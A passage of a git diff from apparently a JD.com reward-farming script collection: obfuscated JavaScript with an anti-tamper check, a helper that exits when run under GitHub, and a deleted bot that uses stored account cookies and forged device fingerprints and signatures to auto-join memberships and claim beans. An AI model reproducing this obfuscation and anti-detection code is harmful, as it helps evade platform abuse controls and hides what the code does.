_0x6e31x1d[__Oxe7fc1[0xa3]];if(_0x6e31x1d[__Oxe7fc1[0xa5]]&& _0x6e31x1d[__Oxe7fc1[0xa5]][__Oxe7fc1[0x108]]){for(let _0x6e31xa of _0x6e31x1d[__Oxe7fc1[0xa5]][__Oxe7fc1[0x108]][__Oxe7fc1[0x109]]){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x10a]}${_0x6e31xa[__Oxe7fc1[0x10b]]}${__Oxe7fc1[0x0]}${_0x6e31xa[__Oxe7fc1[0x10c]]}${__Oxe7fc1[0x0]}${_0x6e31xa[__Oxe7fc1[0x10d]]}${__Oxe7fc1[0x0]}`)}}}else {if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]&& _0x6e31x1d[__Oxe7fc1[0xa3]]){$[__Oxe7fc1[0x4d]]= _0x6e31x1d[__Oxe7fc1[0xa3]];console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x0]}${_0x6e31x1d[__Oxe7fc1[0xa3]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`)}else {console[__Oxe7fc1[0xc]](_0x6e31x1b)}}}else {console[__Oxe7fc1[0xc]](_0x6e31x1b)}}catch(e){$[__Oxe7fc1[0x17]](e,_0x6e31x1a)}finally{_0x6e31x18()}})})}function getshopactivityId(){return new Promise((_0x6e31x18)=>{const _0x6e31x36={url:`${__Oxe7fc1[0x10e]}${$[__Oxe7fc1[0x4c]]}${__Oxe7fc1[0x10f]}`,headers:{'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxe7fc1[0x102],'\x4F\x72\x69\x67\x69\x6E':__Oxe7fc1[0x103],'\x48\x6F\x73\x74':__Oxe7fc1[0x104],'\x61\x63\x63\x65\x70\x74':__Oxe7fc1[0x105],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':$[__Oxe7fc1[0xe5]],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxe7fc1[0xe4],'\x43\x6F\x6F\x6B\x69\x65':cookie}};$[__Oxe7fc1[0xef]](_0x6e31x36,async (_0x6e31x19,_0x6e31x1a,_0x6e31x1b)=>{try{let _0x6e31x1d=$[__Oxe7fc1[0x106]](_0x6e31x1b,_0x6e31x1b);if( typeof _0x6e31x1d== __Oxe7fc1[0xa0]){if(_0x6e31x1d[__Oxe7fc1[0x107]]== true){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x110]}${_0x6e31x1d[__Oxe7fc1[0xa5]][__Oxe7fc1[0x112]][__Oxe7fc1[0x111]]|| __Oxe7fc1[0x0]}${__Oxe7fc1[0x0]}`);$[__Oxe7fc1[0xfa]]= _0x6e31x1d[__Oxe7fc1[0xa5]][__Oxe7fc1[0x113]]&& _0x6e31x1d[__Oxe7fc1[0xa5]][__Oxe7fc1[0x113]][0x0]&& _0x6e31x1d[__Oxe7fc1[0xa5]][__Oxe7fc1[0x113]][0x0][__Oxe7fc1[0x114]]&& _0x6e31x1d[__Oxe7fc1[0xa5]][__Oxe7fc1[0x113]][0x0][__Oxe7fc1[0x114]][__Oxe7fc1[0x1d]]|| __Oxe7fc1[0x0]}}else {console[__Oxe7fc1[0xc]](_0x6e31x1b)}}catch(e){$[__Oxe7fc1[0x17]](e,_0x6e31x1a)}finally{_0x6e31x18()}})})}function generateFp(){let _0x6e31x9=__Oxe7fc1[0x115];let _0x6e31x32=13;let _0x6e31xa=__Oxe7fc1[0x0];for(;_0x6e31x32--;){_0x6e31xa+= _0x6e31x9[Math[__Oxe7fc1[0x41]]()* _0x6e31x9[__Oxe7fc1[0x23]]| 0]};return (_0x6e31xa+ Date[__Oxe7fc1[0x45]]())[__Oxe7fc1[0x116]](0,16)}function geth5st(){let _0x6e31x3a=Date[__Oxe7fc1[0x45]]();let _0x6e31x3b=generateFp();let _0x6e31x3c= new Date(_0x6e31x3a).Format(__Oxe7fc1[0x117]);let _0x6e31x3d=__Oxe7fc1[0x0];let _0x6e31x3e=__Oxe7fc1[0x0];let _0x6e31x3f=[__Oxe7fc1[0x118],__Oxe7fc1[0x119],__Oxe7fc1[0x11a]];let _0x6e31x40=_0x6e31x3f[random(0,_0x6e31x3f[__Oxe7fc1[0x23]])];return encodeURIComponent(_0x6e31x3c+ __Oxe7fc1[0xeb]+ _0x6e31x40+ _0x6e31x3b+ __Oxe7fc1[0x0]+ Date[__Oxe7fc1[0x45]]())}function getH5st(){let _0x6e31x3a=Date[__Oxe7fc1[0x45]]();let _0x6e31x3b=generateFp();let _0x6e31x3c= new Date(_0x6e31x3a).Format(__Oxe7fc1[0x117]);return encodeURIComponent(_0x6e31x3c+ __Oxe7fc1[0xeb]+ __Oxe7fc1[0x0]+ _0x6e31x3b+ __Oxe7fc1[0x119]+ Date[__Oxe7fc1[0x45]]())}Date[__Oxe7fc1[0x11c]][__Oxe7fc1[0x11b]]= function(_0x6e31x42){var _0x6e31x9,_0x6e31x33=this,_0x6e31x43=_0x6e31x42,_0x6e31x44={"\x4D\x2B":_0x6e31x33[__Oxe7fc1[0x11d]]()+ 1,"\x64\x2B":_0x6e31x33[__Oxe7fc1[0x11e]](),"\x44\x2B":_0x6e31x33[__Oxe7fc1[0x11e]](),"\x68\x2B":_0x6e31x33[__Oxe7fc1[0x11f]](),"\x48\x2B":_0x6e31x33[__Oxe7fc1[0x11f]](),"\x6D\x2B":_0x6e31x33[__Oxe7fc1[0x120]](),"\x73\x2B":_0x6e31x33[__Oxe7fc1[0x121]](),"\x77\x2B":_0x6e31x33[__Oxe7fc1[0x122]](),"\x71\x2B":Math[__Oxe7fc1[0xf8]]((_0x6e31x33[__Oxe7fc1[0x11d]]()+ 3)/ 3),"\x53\x2B":_0x6e31x33[__Oxe7fc1[0x123]]()};/(y+)/i[__Oxe7fc1[0x124]](_0x6e31x43)&& (_0x6e31x43= _0x6e31x43[__Oxe7fc1[0xd6]](RegExp.$1,__Oxe7fc1[0x0][__Oxe7fc1[0x127]](_0x6e31x33[__Oxe7fc1[0x126]]())[__Oxe7fc1[0xf4]](4- RegExp[__Oxe7fc1[0x125]][__Oxe7fc1[0x23]])));for(var _0x6e31x45 in _0x6e31x44){if( new RegExp(__Oxe7fc1[0x129][__Oxe7fc1[0x127]](_0x6e31x45,__Oxe7fc1[0x128]))[__Oxe7fc1[0x124]](_0x6e31x43)){var _0x6e31x31,_0x6e31x32=__Oxe7fc1[0x12a]=== _0x6e31x45?__Oxe7fc1[0x12b]:__Oxe7fc1[0x12c];_0x6e31x43= _0x6e31x43[__Oxe7fc1[0xd6]](RegExp.$1,1== RegExp[__Oxe7fc1[0x125]][__Oxe7fc1[0x23]]?_0x6e31x44[_0x6e31x45]:(__Oxe7fc1[0x0][__Oxe7fc1[0x127]](_0x6e31x32)+ _0x6e31x44[_0x6e31x45])[__Oxe7fc1[0xf4]](__Oxe7fc1[0x0][__Oxe7fc1[0x127]](_0x6e31x44[_0x6e31x45])[__Oxe7fc1[0x23]]))}};return _0x6e31x43};function random(_0x6e31x47,_0x6e31x48){return Math[__Oxe7fc1[0xf8]](Math[__Oxe7fc1[0x41]]()* (_0x6e31x48- _0x6e31x47))+ _0x6e31x47}function getToken(){return new Promise((_0x6e31x18)=>{$[__Oxe7fc1[0xef]]({url:`${__Oxe7fc1[0x12d]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe7fc1[0x12e]},timeout:30000},(_0x6e31x19,_0x6e31x1a,_0x6e31x1b)=>{try{if(_0x6e31x19){console[__Oxe7fc1[0xc]](`${__Oxe7fc1[0x12f]}`)}else {_0x6e31x1b= JSON[__Oxe7fc1[0x9d]](_0x6e31x1b);if(_0x6e31x1b[__Oxe7fc1[0x130]]== 0){_0x6e31x1b= _0x6e31x1b[__Oxe7fc1[0xa6]]}else {_0x6e31x1b= __Oxe7fc1[0x0]}}}catch(e){$[__Oxe7fc1[0x17]](e,_0x6e31x1a)}finally{_0x6e31x18(_0x6e31x1b|| __Oxe7fc1[0x0])}})})}function jsonParse(_0x6e31x4b){if( typeof _0x6e31x4b== __Oxe7fc1[0x131]){try{return JSON[__Oxe7fc1[0x9d]](_0x6e31x4b)}catch(e){console[__Oxe7fc1[0xc]](e);$[__Oxe7fc1[0x1c]]($[__Oxe7fc1[0x19]],__Oxe7fc1[0x0],__Oxe7fc1[0x132]);return []}}}(function(_0x6e31x4c,_0x6e31x4d,_0x6e31x4e,_0x6e31x4f,_0x6e31x50,_0x6e31x45){_0x6e31x45= __Oxe7fc1[0x9a];_0x6e31x4f= function(_0x6e31x51){if( typeof alert!== _0x6e31x45){alert(_0x6e31x51)};if( typeof console!== _0x6e31x45){console[__Oxe7fc1[0xc]](_0x6e31x51)}};_0x6e31x4e= function(_0x6e31x32,_0x6e31x4c){return _0x6e31x32+ _0x6e31x4c};_0x6e31x50= _0x6e31x4e(__Oxe7fc1[0x133],_0x6e31x4e(_0x6e31x4e(__Oxe7fc1[0x134],__Oxe7fc1[0x135]),__Oxe7fc1[0x136]));try{_0x6e31x4c= __encode;if(!( typeof _0x6e31x4c!== _0x6e31x45&& _0x6e31x4c=== _0x6e31x4e(__Oxe7fc1[0x137],__Oxe7fc1[0x138]))){_0x6e31x4f(_0x6e31x50)}}catch(e){_0x6e31x4f(_0x6e31x50)}})({}) - - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_opencardjoyjd.js b/jd_opencardjoyjd.js deleted file mode 100644 index 7e7ec0335..000000000 --- a/jd_opencardjoyjd.js +++ /dev/null @@ -1,510 +0,0 @@ -/* - -JoyJd任务脚本 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#JoyJd任务脚本 -5 2,18 * * * https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_joyjd_open.js, tag=JoyJd任务脚本, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "5 2,18 * * *" script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_joyjd_open.js,tag=JoyJd任务脚本 - -===============Surge================= -JoyJd任务脚本 = type=cron,cronexp="5 2,18 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_joyjd_open.js - -============小火箭========= -JoyJd任务脚本 = type=cron,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_joyjd_open.js, cronexpr="5 2,18 * * *", timeout=3600, enable=true - - -*/ -const $ = new Env('会员开卡赢京豆'); -const Faker=require('./sign_graphics_validate.js') -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -message = "" -!(async () => { - console.log('入口:https://prodev.m.jd.com/mall/active/3z1Vesrhx3GCCcBn2HgbFR4Jq68o/index.html') - console.log('开一张卡获得10豆') - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.bean = 0 - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` - } - } - if(message){ - $.msg($.name, ``, `${message}\n获得到的京豆不一定到账`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${message}\n获得到的京豆不一定到账`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - await getHtml(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if(!$.fp || !$.eid){ - $.log("获取活动信息失败!") - return - } - let config = [ - {configCode:'469f588bbf0f45e1bf06c87c76df9db8',configName:'我爱520-1'}, - // {configCode:'761d289b16d74713bf6cee8462ca0e76',configName:'我爱520-2'}, - // {configCode:'3d83678471e74b84940b99d16d8848b5',configName:'我爱520-3'}, - //{configCode:'ce04c87546ea40cc8f601e85f2dda2a9',configName:'秋新资任务组件 组1'}, - ] - for(let i in config){ - $.hotFlag = false - let item = config[i] - $.task = '' - $.taskList = [] - $.taskInfo = '' - let q = 5 - for(m=1;q--;m++){ - if($.task == '') await getActivity(item.configCode,item.configName,0) - if($.task || $.hotFlag) break - } - if($.hotFlag) continue; - if($.task.showOrder){ - console.log(`\n[${item.configName}] ${$.task.showOrder == 2 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) - if($.taskInfo.rewardStatus == 2) continue; - $.taskList = $.task.memberList || $.task.taskList || [] - $.oneTask = '' - for (let i = 0; i < $.taskList.length; i++) { - $.oneTask = $.taskList[i]; - if($.task.showOrder == 1){ - if($.oneTask.cardName.indexOf('马克华') > -1) continue - console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) - if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) - if($.oneTask.result == 0) await join($.oneTask.venderId) - await $.wait(parseInt(Math.random() * 1000 + 500, 10)) - if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) - }else if($.task.showOrder == 2){ - $.cacheNum = 0 - $.doTask = false - $.outActivity = false - let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` - let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` - let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` - console.log(`${name}${msg} ${status}`) - if($.oneTask.finishCount < $.oneTask.taskCount){ - await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) - let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 - for(n=2;c-- && !$.outActivity;n++){ - if($.outActivity) break - console.log(`第${n}次`) - await getActivity(item.configCode,item.configName,$.oneTask.groupType) - $.oneTasks = '' - let q = 3 - for(m=1;q--;m++){ - if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) - if($.oneTasks) break - } - if($.oneTasks){ - c = $.oneTasks.taskCount - $.oneTasks.finishCount - if($.oneTasks.item.itemId == $.oneTask.item.itemId){ - n--; - console.log(`数据缓存中`) - $.cacheNum++; - if($.cacheNum > 3) console.log('请重新执行脚本,数据缓存问题'); - if($.cacheNum > 3) break; - await getUA() - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - await getHtml(); - }else{ - $.cacheNum = 0 - } - if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - }else{ - n--; - } - } - } - }else{ - console.log('未知活动类型') - } - } - if($.task.showOrder == 2){ - if($.doTask){ - $.taskInfo = '' - let q = 5 - for(m=1;q--;m++){ - if($.taskInfo == '') await getActivity(item.configCode,item.configName,-1) - if($.taskInfo) break - } - } - if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) - } - } - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - } - - } catch (e) { - console.log(e) - } -} -function getActivity(code,name,flag) { - return new Promise(async resolve => { - $.get({ - url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - 'Content-Type':'application/json;charset=utf-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true && res.data.pass == true){ - if(flag == 0){ - $.task = res.data.memberTask || res.data.dailyTask || [] - $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] - }else if(flag == -1){ - $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} - }else if(flag == 1 || flag == 2){ - for(let i of res.data.dailyTask.taskList){ - if(i.groupType == flag){ - $.oneTasks = i - break - } - } - }else{ - console.log('活动-未知类型') - } - }else if(res.data.pass == false){ - console.log(`活动[${name}]活动太火爆了,请稍后再试~`) - $.hotFlag = true - }else{ - console.log(`活动[${name}]获取失败\n${data}`) - if(flag > 0) await getHtml(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doTask(body) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/v2/doTask`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - $.doTask = true - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - await $.wait(parseInt(Math.random() * 1000 + 500, 10)) - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true){ - console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) - $.bean += Number($.oneTask.rewardQuantity) - }else if(res.errorMessage){ - if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true - console.log(`${res.errorMessage}`) - }else{ - console.log(data) - } - } - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getReward(body, flag = 0) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/v2/getReward`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true){ - console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) - $.bean += Number($.oneTask.rewardQuantity) - }else{ - console.log(`${res.errorMessage}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function statistic(body) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/data/statistic`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: 